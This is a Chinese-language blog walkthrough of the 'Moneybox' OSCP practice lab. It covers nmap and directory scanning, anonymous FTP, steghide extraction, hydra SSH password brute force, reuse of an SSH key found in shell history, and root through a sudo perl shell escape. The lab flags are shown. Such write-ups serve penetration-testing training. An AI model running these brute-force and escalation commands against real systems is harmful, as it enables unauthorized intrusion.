• OSCP系列靶场-Esay-Moneybox保姆级


    OSCP系列靶场-Esay-Moneybox

    总结

    getwebshell : 目录扫描发现目录 → HTML中发现隐藏keyFTP匿名发现图片 → 隐写术解开图片秘密 → 提示用户名爆破 → hyrda爆破ssh进入内部

    提 权 思 路 : history发现存在私钥 → 登录其他用户 → perl权限提升

    准备工作

    • 启动VPN
      获取攻击机IP → 192.168.45.191

    • 启动靶机
      获取目标机器IP → 192.168.162.230

    信息收集-端口扫描

    目标开放端口收集

    • Nmap开放端口扫描2次(多次扫描减少误扫)
    sudo nmap --min-rate 10000 -p- 192.168.162.230
    
    PORT   STATE SERVICE
    21/tcp open  ftp
    22/tcp open  ssh
    80/tcp open  http
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6


    开放的端口-→21,22,80

    目标端口对应服务探测

    # tcp探测
    sudo nmap -sT -sV -O -sC -p21,22,80 192.168.162.230
    
    PORT   STATE SERVICE VERSION
    21/tcp open  ftp     vsftpd 3.0.3
    22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
    80/tcp open  http    Apache httpd 2.4.38 ((Debian))
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    信息收集-端口测试

    21-FTP端口的信息收集

    21-FTP版本版本信息

    通过Nmap探测获得FTP的版本信息,可以大致推测FTP的配置文件位置
    Nmap探测信息为21/tcp open ftp vsftpd 3.0.3

    # ftp配置文件位置
    /etc/vsftpd.conf
    
    • 1
    • 2
    21-FTP端口匿名登录测试(存在)

    尝试匿名账号anonymous以及无密码进行登录测试

    # 利用ftp协议+ip进行连接测试
    ftp 192.168.162.230
    Name: anonymous
    
    • 1
    • 2
    • 3

    21-FTP端口-文件GET收集

    登录FTP之后利用ls查看存在哪些目录,翻阅的同时查看一下文件权限
    利用GET下载文件

    # binary 以二进制模式传输文件,保证文件完整
    ftp → binary
    # 查看目录结构
    ftpls -al
    # cd 查看存储的文件
    ftpcd [file_date_name]
    # get 下载文件
    ftp → get [file_name]
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    发现了trytofind.jpg下载到了本地


    打开是一张纯粹的图片,推测有隐写术

    21-FTP端口-PUT上传测试

    测试是否可以利用PUT上传文件

    # put 上传文件
    ftp → put [file_name]
    
    • 1
    • 2

    不具备上传功能

    22-SSH端口的信息收集

    22-SSH端口版本信息与MSF利用

    通过Nmap探测获得SSH的版本信息,可以尝试利用
    探测版本为OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

    # 搜索对应脚本
    msf6 → searchsploit openssh 7.9
    
    • 1
    • 2

    22-SSH协议支持的登录方式

    通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

    sudo ssh root @192.168.162.230 -v
    
    • 1

    显示publickeypassword就是支持密钥以及密码登录

    22-SSH手动登录尝试(无)

    因为支持密码登录,尝试root账户的密码弱密码尝试

    sudo ssh root @192.168.162.230 -p 22
    # 密码尝试
    password → root
    
    • 1
    • 2
    • 3

    弱密码尝试失败

    22-SSH弱口令爆破(静静等待)

    因为支持密码登录,尝试root账户的密码爆破,利用工具hydra,线程-t为6

    sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.162.230 ssh -s 22
    
    • 1

    挂着工具进行爆破,我们尝试后续信息收集

    80-HTTP端口的信息收集

    访问 http://192.168.162.230:80 不是CMS我们直接从HTML隐藏信息收集开始


    网站说很简单,我不信(¬︿̫̿¬☆)

    信息收集-HTML隐藏信息查看
    # 包括文章中是否写明一些敏感信息
    curl http://192.168.162.230:80
    
    • 1
    • 2

    无隐藏内容

    信息收集-目录扫描
    信息收集-目录扫描初步
    dirsearch -u http://192.168.162.230:80 -x 302,403
    
    • 1

    通过扫描发现了一个新的端点/blogs/
    因为扫出了目录,深层次的扫描待选

    信息收集-目录扫描(后缀)
    信息收集-目录扫描(深度/大字典)
    信息收集-目录扫描(深度/大字典后缀)
    
    • 1
    • 2
    • 3
    信息收集-目录访问
    /blogs/端点访问

    从本文的消息我们可以发现黑客黑入了系统,并说明没有任何的防护设备


    curl了一下发现了新的隐藏路径S3cr3t-T3xt

    /S3cr3t-T3xt端点访问

    提示是没有


    curl了一下,发现了新内容…一个key 3xtr4ctd4t4

    漏洞利用-getwebshell

    key利用

    根据现有内容key应该不代表密码,之前有一张图片可能存在隐写术,推测是它的密码

    通过CHATGPT推荐使用工具 steghide

    通过chatgpt获取对应的工具使用方式

    steghide extract -sf  -xf  -p 
    
    • 1

    其中:

    • `` 是包含隐藏信息的图像文件
    • `` 是提取的信息输出文件
    • `` 是解密隐藏信息的密码

    修改成我们需要的样子

    steghide extract -sf trytofind.jpg -xf mian.txt
    password → 3xtr4ctd4t4
    
    • 1
    • 2

    成功获得main.txt

    信息泄露获得用户名

    打开发现内容 确定密码很简单并且用户名是renu

    Hello.....  renu
    
          I tell you something Important.Your Password is too Week So Change Your Password
    Don't Underestimate it.......
    
    
    • 1
    • 2
    • 3
    • 4
    • 5

    SSH爆破登录

    这样我们可以尝试爆破一下renu的账户,利用工具hyrda

    # -l 指定用户名 -P指定密码字典
    hydra -l renu -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.162.230 ssh -s 22
    
    • 1
    • 2

    成功得到了账号密码信息

    [22][ssh] host: 192.168.162.230   login: renu   password: 987654321
    
    • 1

    22-SSH账号密码登录

    获取账号密码之后利用SSH进行登录

    sudo ssh renu @192.168.162.230 -p22
    password → 987654321
    
    • 1
    • 2

    成功打入内部,第一步完成

    内网遨游-getshell

    FLAG1获取

    renu @MoneyBox:~$ find / -name local.txt 2→/dev/null
    /home/renu/local.txt
    renu @MoneyBox:~$ cat /home/renu/local.txt
    ad71d6f825f157311d017a8bd94a7e03
    
    • 1
    • 2
    • 3
    • 4

    信息收集-内网基础信息收集

    提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

    检测Linux操作系统的发行版本

    较老的Ubuntu以及Linux系统可以overlayfs提权

    # 确定发行版本
    renu @MoneyBox:~$ lsb_release -a
    No LSB modules are available.
    Distributor ID: Debian
    Description:    Debian GNU/Linux 10 (buster)
    Release:        10
    Codename:       buster
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    发行版本为Debian,不太能overlayfs提权

    检测Linux操作系统的内核版本

    较低的内核版本可以进行脏牛提权

    renu @MoneyBox:~$ uname -a
    Linux MoneyBox 4.19.0-22-amd64 #1 SMP Debian 4.19.260-1 (2022-09-29) x86_64 GNU/Linux
    
    • 1
    • 2

    内核版本为4.19.0

    检测当前用户的权限
    renu @MoneyBox:~$ id
    uid=1001(renu) gid=1001(renu) groups=1001(renu)
    
    • 1
    • 2
    列举出所有的sudo文件

    查找具有sudo权限,且不需要密码的可提权文件
    如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

    # 利用sudo -l寻找
    sudo -l
    
    • 1
    • 2

    发现需要密码,尝试987654321失败

    列举出所有suid文件

    如果发现u=s有东西的话 访问 https://gtfobins.github.io 寻找

    # -perm 文件权限
    find / -perm -u=s -type f 2→/dev/null
    
    • 1
    • 2

    /etc/passwd权限收集

    如果/etc/passwd具有写入权限可以尝试覆盖密码提权

    renu @MoneyBox:~$ ls -al /etc/passwd
    -rw-r--r-- 1 root root 1486 Feb 26  2021 /etc/passwd
    
    • 1
    • 2
    /etc/shadow权限收集
    • 如果/etc/shadow具有写入权限可以尝试覆盖密码提权
    • 如果/etc/shadow具有可读权限可以爆破密码
    renu @MoneyBox:~$ ls -al /etc/shadow
    -rw-r----- 1 root shadow 1095 Oct 11  2022 /etc/shadow
    
    • 1
    • 2
    getcap标志进程收集

    高版本下suid列举不全,查看getcap

    # 探查有CAP_SETUID标志的进程
    /usr/sbin/getcap -r / 2→/dev/null
    
    • 1
    • 2

    列举定时任务

    查找所有的定时任务,并且查看定时任务是否具有修改权限

    # 寻找定时任务并修改进行提权
    cat /etc/crontab
    
    • 1
    • 2

    查看历史信息

    可能用户留下的历史信息具有有用的信息

    history
    
    • 1

    发现存在登录到其他用户的历史命令

    ssh -i id_rsa lily @192.168.43.8
    
    • 1

    查看一下本用户/home目录下是否存在SSH密钥


    再查看一下lily目录下是否存在authorized keys


    确认存在之后尝试登录lily的用户

    # 修改一下ip
    ssh -i id_rsa lily @	192.168.162.230
    
    • 1
    • 2

    登录成功,准备进行新的信息收集

    列举出所有的sudo文件

    查找具有sudo权限,且不需要密码的可提权文件

    利用sudo -l寻找

    lily @MoneyBox:~$ sudo -l
    Matching Defaults entries for lily on MoneyBox:
        env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
    
    User lily may run the following commands on MoneyBox:
        (ALL : ALL) NOPASSWD: /usr/bin/perl
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    看到了内容 会心一笑

    perl权限提升

    如果发现有东西的话 访问 https://gtfobins.github.io 寻找

    sudo perl -e 'exec "/bin/sh";'
    
    • 1

    找到了提权的命令,提权成功

    lily @MoneyBox:~$ sudo perl -e 'exec "/bin/sh";'
    # is
    /bin/sh: 1: is: not found
    # id
    uid=0(root) gid=0(root) groups=0(root)
    
    • 1
    • 2
    • 3
    • 4
    • 5

    FLAG2获取

    # cat /root/proof.txt
    7b0bce8f4b59a3db7d173f3e833e50f8
    
    • 1
    • 2
    完结撒花~
    
    • 1

    总结

    查看历史记录也是一件很重要的事情

  • 相关阅读:
    Spring Cloud Gateway整合Nacos实现服务路由及集群负载均衡
    1.4-JMeter插件
    Code Complate - 什么是软件构建
    go 获取文件类型
    (七)Alian 的 Spring Cloud Config 配置中心(客户端)
    前端js实现protobuf序列化与反序列化
    RKMPP库快速上手--(三)MPP解码入门
    C语言中volatile关键字的作用
    汽车零部件制造企业如何选择合适的ESOP电子作业指导书系统
    仿真proteus8.7安装
  • 原文地址:https://blog.csdn.net/qq_61812944/article/details/133121811